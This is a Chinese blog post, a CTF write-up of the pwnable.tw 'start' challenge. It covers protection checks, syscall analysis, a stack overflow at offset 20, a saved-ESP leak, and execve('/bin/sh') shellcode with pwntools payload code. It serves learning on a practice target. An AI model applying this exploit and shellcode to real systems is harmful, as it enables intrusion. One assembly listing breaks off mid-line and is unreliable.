2019-10-25 13:13:53 +00:00
<!DOCTYPE html>
< html class = "theme-next gemini use-motion" lang = "zh-Hans" >
< head > < meta name = "generator" content = "Hexo 3.8.0" >
< meta charset = "UTF-8" >
< meta http-equiv = "X-UA-Compatible" content = "IE=edge" >
< meta name = "viewport" content = "width=device-width, initial-scale=1, maximum-scale=1" >
< meta name = "theme-color" content = "#222" >
< meta http-equiv = "Cache-Control" content = "no-transform" >
< meta http-equiv = "Cache-Control" content = "no-siteapp" >
< link href = "/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel = "stylesheet" type = "text/css" >
< link href = "/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel = "stylesheet" type = "text/css" >
< link href = "/css/main.css?v=5.1.4" rel = "stylesheet" type = "text/css" >
< link rel = "apple-touch-icon" sizes = "180x180" href = "/images/hackerrank.png?v=5.1.4" >
< link rel = "icon" type = "image/png" sizes = "32x32" href = "/images/hackerrank.png?v=5.1.4" >
< link rel = "icon" type = "image/png" sizes = "16x16" href = "/images/hackerrank.png?v=5.1.4" >
< link rel = "mask-icon" href = "/images/logo.svg?v=5.1.4" color = "#222" >
< meta name = "keywords" content = "二进制,Linux,CTF," >
< meta name = "description" content = "Pwnable.tw start程序链接: https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说, checksec这个工作看似简单, 用用现成工具就行, 但这决定了我们之后漏洞利用的方式, 是否栈代码执行, 还是ROP。最好多用几个工具进行检查, 兼听则明。比如这个程序用peda检查就开启了NX, 但实际上并没有。所以理想的话, 把shellcode布置到栈上" >
< meta name = "keywords" content = "二进制,Linux,CTF" >
< meta property = "og:type" content = "article" >
< meta property = "og:title" content = "【Pwnable.tw】start" >
< meta property = "og:url" content = "https://cool-y.github.io/2019/10/25/PWNtw-start/index.html" >
< meta property = "og:site_name" content = "混元霹雳手" >
< meta property = "og:description" content = "Pwnable.tw start程序链接: https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说, checksec这个工作看似简单, 用用现成工具就行, 但这决定了我们之后漏洞利用的方式, 是否栈代码执行, 还是ROP。最好多用几个工具进行检查, 兼听则明。比如这个程序用peda检查就开启了NX, 但实际上并没有。所以理想的话, 把shellcode布置到栈上" >
< meta property = "og:locale" content = "zh-Hans" >
2019-11-12 13:07:08 +00:00
< meta property = "og:updated_time" content = "2019-10-26T02:44:23.409Z" >
2019-10-25 13:13:53 +00:00
< meta name = "twitter:card" content = "summary" >
< meta name = "twitter:title" content = "【Pwnable.tw】start" >
< meta name = "twitter:description" content = "Pwnable.tw start程序链接: https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说, checksec这个工作看似简单, 用用现成工具就行, 但这决定了我们之后漏洞利用的方式, 是否栈代码执行, 还是ROP。最好多用几个工具进行检查, 兼听则明。比如这个程序用peda检查就开启了NX, 但实际上并没有。所以理想的话, 把shellcode布置到栈上" >
< script type = "text/javascript" id = "hexo.configurations" >
var NexT = window.NexT || {};
var CONFIG = {
root: '/',
scheme: 'Gemini',
version: '5.1.4',
sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
fancybox: true,
tabs: true,
motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
duoshuo: {
userId: '0',
author: '博主'
},
algolia: {
applicationID: '',
apiKey: '',
indexName: '',
hits: {"per_page":10},
labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
}
};
< / script >
< link rel = "canonical" href = "https://cool-y.github.io/2019/10/25/PWNtw-start/" >
< title > 【Pwnable.tw】start | 混元霹雳手< / title >
< / head >
< body itemscope itemtype = "http://schema.org/WebPage" lang = "zh-Hans" >
< div class = "container sidebar-position-left page-post-detail" >
< div class = "headband" > < / div >
< header id = "header" class = "header" itemscope itemtype = "http://schema.org/WPHeader" >
< div class = "header-inner" > < div class = "site-brand-wrapper" >
< div class = "site-meta " >
< div class = "custom-logo-site-title" >
< a href = "/" class = "brand" rel = "start" >
< span class = "logo-line-before" > < i > < / i > < / span >
< span class = "site-title" > 混元霹雳手< / span >
< span class = "logo-line-after" > < i > < / i > < / span >
< / a >
< / div >
< p class = "site-subtitle" > < / p >
< / div >
< div class = "site-nav-toggle" >
< button >
< span class = "btn-bar" > < / span >
< span class = "btn-bar" > < / span >
< span class = "btn-bar" > < / span >
< / button >
< / div >
< / div >
< nav class = "site-nav" >
< ul id = "menu" class = "menu" >
< li class = "menu-item menu-item-home" >
< a href = "/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-home" > < / i > < br >
首页
< / a >
< / li >
< li class = "menu-item menu-item-about" >
< a href = "/about/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-user" > < / i > < br >
关于
< / a >
< / li >
< li class = "menu-item menu-item-tags" >
< a href = "/tags/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-tags" > < / i > < br >
标签
< / a >
< / li >
< li class = "menu-item menu-item-categories" >
< a href = "/categories/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-th" > < / i > < br >
分类
< / a >
< / li >
< li class = "menu-item menu-item-archives" >
< a href = "/archives/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-archive" > < / i > < br >
归档
< / a >
< / li >
< li class = "menu-item menu-item-bookmarks" >
< a href = "/bookmarks/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-map" > < / i > < br >
书签
< / a >
< / li >
< li class = "menu-item menu-item-hack之外" >
< a href = "/hack之外/" rel = "section" >
< i class = "menu-item-icon fa fa-fw fa-heartbeat" > < / i > < br >
HACK之外
< / a >
< / li >
< / ul >
< / nav >
< / div >
< / header >
< main id = "main" class = "main" >
< div class = "main-inner" >
< div class = "content-wrap" >
< div id = "content" class = "content" >
< div id = "posts" class = "posts-expand" >
< article class = "post post-type-normal" itemscope itemtype = "http://schema.org/Article" >
< div class = "post-block" >
< link itemprop = "mainEntityOfPage" href = "https://cool-y.github.io/2019/10/25/PWNtw-start/" >
< span hidden itemprop = "author" itemscope itemtype = "http://schema.org/Person" >
< meta itemprop = "name" content = "Cool-Y" >
< meta itemprop = "description" content >
< meta itemprop = "image" content = "/images/avatar.png" >
< / span >
< span hidden itemprop = "publisher" itemscope itemtype = "http://schema.org/Organization" >
< meta itemprop = "name" content = "混元霹雳手" >
< / span >
< header class = "post-header" >
< h1 class = "post-title" itemprop = "name headline" > 【Pwnable.tw】start< / h1 >
< div class = "post-meta" >
< span class = "post-time" >
< span class = "post-meta-item-icon" >
< i class = "fa fa-calendar-o" > < / i >
< / span >
< span class = "post-meta-item-text" > 发表于< / span >
< time title = "创建于" itemprop = "dateCreated datePublished" datetime = "2019-10-25T21:04:14+08:00" >
2019-10-25
< / time >
< / span >
< span class = "post-category" >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-folder-o" > < / i >
< / span >
< span class = "post-meta-item-text" > 分类于< / span >
< span itemprop = "about" itemscope itemtype = "http://schema.org/Thing" >
< a href = "/categories/Pwn/" itemprop = "url" rel = "index" >
< span itemprop = "name" > Pwn< / span >
< / a >
< / span >
< / span >
< span id = "/2019/10/25/PWNtw-start/" class = "leancloud_visitors" data-flag-title = "【Pwnable.tw】start" >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-eye" > < / i >
< / span >
< span class = "post-meta-item-text" > 阅读次数: < / span >
< span class = "leancloud-visitors-count" > < / span >
< / span >
< div class = "post-wordcount" >
< span class = "post-meta-item-icon" >
< i class = "fa fa-file-word-o" > < / i >
< / span >
< span title = "字数统计" >
1.5k 字
< / span >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-clock-o" > < / i >
< / span >
< span title = "阅读时长" >
7 分钟
< / span >
< / div >
< / div >
< / header >
< div class = "post-body" itemprop = "articleBody" >
< h1 id = "Pwnable-tw-start" > < a href = "#Pwnable-tw-start" class = "headerlink" title = "Pwnable.tw start" > < / a > < a href = "http://pwnable.tw/" target = "_blank" rel = "noopener" > Pwnable.tw< / a > start< / h1 > < p > 程序链接:< a href = "https://pwnable.tw/static/chall/start" target = "_blank" rel = "noopener" > https://pwnable.tw/static/chall/start< / a > < / p >
< h2 id = "0x01-检查保护情况" > < a href = "#0x01-检查保护情况" class = "headerlink" title = "0x01 检查保护情况" > < / a > 0x01 检查保护情况< / h2 > < p > 不得不说,< a href = "http://www.trapkit.de/tools/checksec.html" target = "_blank" rel = "noopener" > checksec< / a > 这个工作看似简单, 用用现成工具就行, 但这决定了我们之后漏洞利用的方式, 是否栈代码执行, 还是ROP。< br > 最好多用几个工具进行检查, 兼听则明。比如这个程序用peda检查就开启了NX, 但实际上并没有。所以理想的话, 把shellcode布置到栈上就可以了! < / p >
2019-11-12 13:07:08 +00:00
< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > $< / span > checksec ./start< / span > < br > < span class = "line" > Arch: i386-32-little< / span > < br > < span class = "line" > RELRO: No RELRO< / span > < br > < span class = "line" > Stack: No canary found< / span > < br > < span class = "line" > NX: NX disabled< / span > < br > < span class = "line" > PIE: No PIE (0x8048000)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< p > < strong > RELRO(Relocation Read Only):尽量使存储区域只读< / strong > < / p >
< h2 id = "0x02-漏洞分析" > < a href = "#0x02-漏洞分析" class = "headerlink" title = "0x02 漏洞分析" > < / a > 0x02 漏洞分析< / h2 > < p > 用IDA逆向分析, 汇编代码< / p >
2019-11-12 13:07:08 +00:00
< figure class = "highlight c" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 保存现场环境esp、_exit< / span > < br > < span class = "line" > .text:< span class = "number" > 08048060< / span > push esp< / span > < br > < span class = "line" > .text:< span class = "number" > 08048061< / span > push offset _exit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 清空寄存器EAX EBX ECX EDX< / span > < br > < span class = "line" > .text:< span class = "number" > 08048066< / span > xor eax, eax< / span > < br > < span class = "line" > .text:< span class = "number" > 08048068< / span > xor ebx, ebx< / span > < br > < span class = "line" > .text:< span class = "number" > 0804806< / span > A xor ecx, ecx< / span > < br > < span class = "line" > .text:< span class = "number" > 0804806< / span > C xor edx, edx< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 向栈上压入参数< / span > < br > < span class = "line" > .text:< span class = "number" > 0804806< / span > E push < span class = "number" > 3< / span > A465443h CTF:< / span > < br > < span class = "line" > .text:< span class = "number" > 08048073< / span > push < span class = "number" > 20656874< / span > h the< / span > < br > < span class = "line" > .text:< span class = "number" > 08048078< / span > push < span class = "number" > 20747261< / span > h art< / span > < br > < span class = "line" > .text:< span class = "number" > 0804807< / span > D push < span class = "number" > 74732073< / span > h s st< / span > < br > < span class = "line" > .text:< span class = "number" > 08048082< / span > push < span class = "number" > 2774654< / span > Ch Let’ < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 系统调用< span class = "number" > 80< / span > h< / span > < br > < span class = "line" > .text:< span class = "number" > 08048087< / span > mov ecx, esp ; addr< / span > < br > < span class = "line" > .text:< span class = "number" > 08048089< / span > mov dl, < span class = "number" > 14< / span > h ; len< / span > < br > < span class = "line" > .text:< span class = "number" > 0804808B< / span > mov bl, < span class = "number" > 1< / span > ; fd< / span > < br > < span class = "line" > .text:< span class = "number" > 0804808< / span > D mov al, < span class = "number" > 4< / span > < / span > < br > < span class = "line" > .text:< span class = "number" > 0804808F< / span > < span class = "keyword" > int< / span > < span class = "number" > 80< / span > h ; LINUX - sys_write< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 系统调用< span class = "number" > 80< / span > h< / span > < br > < span class = "line" > .text:< span class = "number" > 08048091< / span > xor ebx, ebx< / span > < br > < span class = "line" > .text:< span class = "number" > 08048093< / span > mov dl, < span class = "number" > 3< / span > Ch< / span > < br > < span class = "line" > .text:< span class = "number" > 08048095< / span > mov al, < span class = "number" > 3< / span > < / span > < br > < span class = "line" > .text:< span class = "number" > 080
2019-10-25 13:13:53 +00:00
< h3 id = "INT-80h-系统调用方法" > < a href = "#INT-80h-系统调用方法" class = "headerlink" title = "INT 80h 系统调用方法" > < / a > < strong > INT 80h 系统调用方法< / strong > < / h3 > < p > < strong > 系统调用的过程< / strong > 可以总结如下:< br > 1. 执行用户程序(如:fork)< br > 2. 根据glibc中的函数实现, 取得系统调用号并执行int $0x80产生中断。< br > 3. 进行地址空间的转换和堆栈的切换, 执行SAVE_ALL。( 进行内核模式) < br > 4. 进行中断处理,根据系统调用表调用内核函数。< br > 5. 执行内核函数。< br > 6. 执行RESTORE_ALL并返回用户模式< br > Linux 32位的系统调用时通过int 80h来实现的, eax寄存器中为调用的功能号, ebx、ecx、edx、esi等等寄存器则依次为参数。< / p >
< p > < a href = "http://syscalls.kernelgrok.com/" target = "_blank" rel = "noopener" > 关于系统调用的功能号< / a > : < / p >
2019-11-12 13:07:08 +00:00
< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > #< / span > define __NR_exit 1< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_fork 2< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_read 3< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_write 4< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_open 5< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_close 6< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_waitpid 7< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_creat 8< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_link 9< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_unlink 10< / span > < br > < span class = "line" > < span class = "meta" > #< / span > define __NR_execve 11< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< p > < strong > 第一个系统调用:< / strong > < br > 将esp开始的14h字节数据写入标准输出( 文件描述符1) , 即输出”Let’ s start the CTF:“< / p >
< table >
< thead >
< tr >
< th > name< / th >
< th > eax< / th >
< th > ebx< / th >
< th > ecx< / th >
< th > edx< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > < a href = "http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html" target = "_blank" rel = "noopener" > sys_write< / a > < / td >
< td > 0x04< / td >
< td > unsigned int fd = 1< / td >
< td > const char __user *buf = esp< / td >
< td > size_t count =14h< / td >
< / tr >
< tr >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< / tr >
< / tbody >
< / table >
< p > < strong > 第二个系统调用:< / strong > < br > 从标准输入读取3ch字节到栈空间< / p >
< table >
< thead >
< tr >
< th > name< / th >
< th > eax< / th >
< th > ebx< / th >
< th > ecx< / th >
< th > edx< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > < a href = "http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html" target = "_blank" rel = "noopener" > sys_read< / a > < / td >
< td > 0x03< / td >
< td > unsigned int fd = 1< / td >
< td > char __user *buf = esp< / td >
< td > size_t count = 3ch< / td >
< / tr >
< tr >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< / tr >
< / tbody >
< / table >
< h3 id = "栈变化情况" > < a href = "#栈变化情况" class = "headerlink" title = "栈变化情况" > < / a > 栈变化情况< / h3 > < ol >
< li > 程序执行到0804808F: sys_write< / li >
< / ol >
< p > 输出14h字节数据: Let’ s start the CTF:< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > +-----------------+ < ----< / span > < br > < span class = "line" > | Let’ | | < / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | s st | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | art | 14h< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | the | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | CTF: | |< / span > < br > < span class = "line" > +-----------------+ < -----< / span > < br > < span class = "line" > | offset _exit |< / span > < br > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | Saved ESP |< / span > < br > < span class = "line" > H-> +-----------------+< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< ol >
< li > 08048097: sys_read< / li >
< / ol >
< p > read函数最多可以读取3ch字节, 超出了分配的空间, 可以用来覆盖ret_addr和esp。经调试验证, 20字节后覆盖ret, 24字节后覆盖esp。< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > gdb-peda$ pattern search< / span > < br > < span class = "line" > Registers contain pattern buffer:< / span > < br > < span class = "line" > EIP+0 found at offset: 20< / span > < br > < span class = "line" > Registers point to pattern buffer:< / span > < br > < span class = "line" > [ECX] --> offset 0 - size ~32< / span > < br > < span class = "line" > [ESP] --> offset 24 - size ~8< / span > < br > < span class = "line" > Pattern buffer found at:< / span > < br > < span class = "line" > 0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])< / span > < br > < span class = "line" > Reference to pattern buffer not found in memory< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > +-----------------+ < ----< / span > < br > < span class = "line" > | aaaa | | < / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | 14h< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | |< / span > < br > < span class = "line" > +-----------------+ |< / span > < br > < span class = "line" > | aaaa | |< / span > < br > < span class = "line" > +-----------------+ < -----< / span > < br > < span class = "line" > | aaaa |< / span > < br > < span class = "line" > +-----------------+< / span > < br > < span class = "line" > | Saved ESP |< / span > < br > < span class = "line" > H-> +-----------------+< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "0x03-漏洞利用" > < a href = "#0x03-漏洞利用" class = "headerlink" title = "0x03 漏洞利用" > < / a > 0x03 漏洞利用< / h2 > < h3 id = "利用思路" > < a href = "#利用思路" class = "headerlink" title = "利用思路" > < / a > 利用思路< / h3 > < p > 现在EIP已经在我们的掌控之中了, 关键是如何跳转到布置的shell code中。一般来说, 首先会去找JMP ESP指令, 这样就能让shellcode获得执行。但这段汇编代码没有, 可以利用的只有read和write。如果可以write出Saved ESP的地址, 然后覆盖掉offset _exit, 就能成功shell。< / p >
< ol >
< li > 泄露Saved ESP< / li >
< / ol >
2019-11-12 13:07:08 +00:00
< figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > start = p.recvuntil(< span class = "string" > ':'< / span > ) //等待write执行完毕< / span > < br > < span class = "line" > payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据, 覆盖ret为0x08048087-> 输出14h字节< / span > < br > < span class = "line" > p.send(payload)< / span > < br > < span class = "line" > data = p.recv() //接收输出数据, 其中就有Saved ESP< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< p > debug过程: < / p >
2019-11-12 13:07:08 +00:00
< figure class = "highlight shell" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > [DEBUG] Received 0x14 bytes:< / span > < br > < span class = "line" > "Let's start the CTF:"< / span > < br > < span class = "line" > [DEBUG] Sent 0x18 bytes:< / span > < br > < span class = "line" > 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│< / span > < br > < span class = "line" > 00000010 61 61 61 61 87 80 04 08 │aaaa│····││< / span > < br > < span class = "line" > 00000018< / span > < br > < span class = "line" > [DEBUG] Received 0x14 bytes:< / span > < br > < span class = "line" > 00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│< / span > < br > < span class = "line" > 00000010 60 6d 81 ff │`m··││< / span > < br > < span class = "line" > 00000014< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< ol start = "2" >
< li > 覆盖RET< / li >
< / ol >
< p > 此时程序已经泄露出之前的Saved_esp, 栈的情况已经摸清了, 然后程序继续执行read, 注意read完 add esp, 14h后再ret, 因此, ret_addr在esp+14h的地方。< / p >
2019-11-12 13:07:08 +00:00
< figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > payload = < span class = "string" > 'a'< / span > *< span class = "number" > 0x14< / span > + p32(saved_esp + < span class = "number" > 20< / span > ) + shellcode< / span > < br > < span class = "line" > < span class = "keyword" > print< / span > p32(saved_esp)< / span > < br > < span class = "line" > p.send(payload)< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< ol start = "3" >
< li > shellcode< / li >
< / ol >
< p > shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)< / p >
< table >
< thead >
< tr >
< th > name< / th >
< th > eax< / th >
< th > ebx< / th >
< th > ecx< / th >
< th > edx< / th >
< th > esi< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > < a href = "http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html" target = "_blank" rel = "noopener" > sys_execve< / a > < / td >
< td > 0x0b< / td >
< td > char __user *< / td >
< td > char < strong > user *< / strong > user *< / td >
< td > char < strong > user *< / strong > user *< / td >
< td > < a href = "http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19" target = "_blank" rel = "noopener" > struct pt_regs< / a > < / td >
< / tr >
< tr >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< td > —< / td >
< / tr >
< / tbody >
< / table >
< p > 其中,该程序是 32 位,所以我们需要使得< / p >
< ul >
< li > 系统调用号,即 eax 应该为 0xb< / li >
< li > 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。< / li >
< li > 第二个参数,即 ecx 应该为 0< / li >
< li > 第三个参数,即 edx 应该为 0< / li >
< / ul >
2019-11-12 13:07:08 +00:00
< figure class = "highlight c" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > xor eax,eax < span class = "comment" > //清空eax< / span > < / span > < br > < span class = "line" > push eax < span class = "comment" > //0入栈, 当作字符/bin/sh结尾< / span > < / span > < br > < span class = "line" > push '/sh'< / span > < br > < span class = "line" > push '/bin' //'/sh'为3字节, 未对齐' -> '/sh\0'或//sh< / span > < br > < span class = "line" > mov ebx, esp < span class = "comment" > //指向/bin/sh地址< / span > < / span > < br > < span class = "line" > xor ecx,ecx< / span > < br > < span class = "line" > xor edx,edx< / span > < br > < span class = "line" > mov al, < span class = "number" > 0xb< / span > < span class = "comment" > //系统调用号< / span > < / span > < br > < span class = "line" > < span class = "keyword" > int< / span > < span class = "number" > 80< / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< figure class = "highlight" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > shellcode=< span class = "string" > '''< / span > < / span > < br > < span class = "line" > xor eax,eax< / span > < br > < span class = "line" > push eax< / span > < br > < span class = "line" > push %s< / span > < br > < span class = "line" > push %s< / span > < br > < span class = "line" > mov ebx, esp< / span > < br > < span class = "line" > xor ecx,ecx< / span > < br > < span class = "line" > xor edx,edx< / span > < br > < span class = "line" > mov al, < span class = "number" > 0xb< / span > < / span > < br > < span class = "line" > int 0x80''' %(u32('/sh\0'),u32('/bin'))< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
2019-10-25 13:13:53 +00:00
< p > 使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统, 如context(arch = ‘ amd64’ , os = ‘ linux’ , log_level=”debug”)< / p >
< h3 id = "Catch-THE-FLAG" > < a href = "#Catch-THE-FLAG" class = "headerlink" title = "Catch THE FLAG" > < / a > Catch THE FLAG< / h3 > < figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = 